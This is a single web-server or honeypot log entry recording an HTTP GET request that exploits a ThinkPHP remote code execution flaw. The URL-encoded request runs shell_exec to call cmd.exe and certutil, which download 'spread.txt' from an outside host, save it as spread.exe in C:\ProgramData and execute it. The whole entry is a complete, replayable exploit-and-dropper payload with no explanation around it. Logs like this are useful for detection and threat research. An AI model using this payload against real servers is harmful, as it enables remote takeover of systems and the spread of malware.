68570bb96a129: GET http://159.65.12.185:80/public/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cmd.exe+%2Fc+certutil+-urlcache+-split+-f+http%3A%2F%2F26.71.166.94%3A19490%2Fspread.txt+C%3A%5CProgramData%5Cspread.exe+%26%26+C%3A%5CProgramData%5Cspread.exe at 2025-06-22 02:44:57 am by 206.62.173.179